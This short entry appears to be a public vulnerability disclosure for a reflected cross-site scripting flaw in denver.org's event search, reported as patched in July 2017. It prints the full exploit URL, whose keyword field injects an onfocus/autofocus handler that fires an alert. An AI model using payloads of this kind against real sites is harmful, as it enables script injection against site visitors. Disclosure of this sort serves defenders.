denver.org XSS vulnerability

Vulnerable URL: http://www.denver.org/events/events-search/?esubmit=1sortBy=eventDatepagesize=25catID=0=sDate=7%2F18%2F2016eDate=keyword="+onfocus%3D"alert%28/OPENBUGBOUNTY/%29"+autofocus+x%3D"++submitBtn=Search Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for...